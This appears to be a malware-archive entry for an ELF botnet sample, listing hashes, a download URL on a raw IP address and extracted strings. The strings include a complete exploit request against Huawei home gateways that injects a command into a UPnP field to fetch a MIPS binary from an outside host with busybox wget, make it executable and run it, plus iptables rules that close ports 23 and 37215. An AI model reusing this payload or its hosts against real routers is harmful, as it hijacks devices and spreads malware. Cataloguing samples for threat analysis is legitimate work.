Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: 7117ce0a2da0760c9838a23156445d98 --

Hashes
MD5: 7117ce0a2da0760c9838a23156445d98
SHA1: 8d0f3940091d15140e0417d6ca9e451b13c6a09a
SHA256: 9ebefb7991a9ba6aa9cc1b17d5a8b91994e75354d3e3b1fab5f8557924ae1ec4
SSDEEP: 1536:GMTWwlvILC0ihdDrMJjktuASTT2rIr0jvg3CTpFZ:wwlwLPihdDrMJjsuA+T0I4jv08R
Details
File Type: ELF
Yara Hits
Source
http://185.62.190.159/bins/x86.idopoc
Strings
		;|$(t:WWj
;|$(t:PPj
D$ j@j
\$H9\$
D$(j@j
D$$j@j
D$ j@j
< t <	t
C)QQWP
D$ JR**
D$(XZj
D$(_]j
f;D$4u
f;D$Pu
;T$(}Q
D$$PSV
xAPPSh
\$Th<P
\$0PPj
D$ [Xj
t$@h\D
}/C;T$
t$$h Q
u%WWSS
t@;D$xu
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g okay.gorillamc.party -l /tmp/ifipoc -r /bins/mips.idopoc; /bin/busybox chmod 777 * /tmp/ifipoc; /tmp/ifipoc huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
iptables -A INPUT -p tcp --destination-port 23 -j DROP
iptables -A INPUT -p tcp --destination-port 37215 -j DROP
*+)#0+XB
M$65&6SRS=
M$65&6SRS>B
B*+)#0+b
SPQVWT
/bin/sh
/dev/null
.shstrtab
.rodata
.ctors
.dtors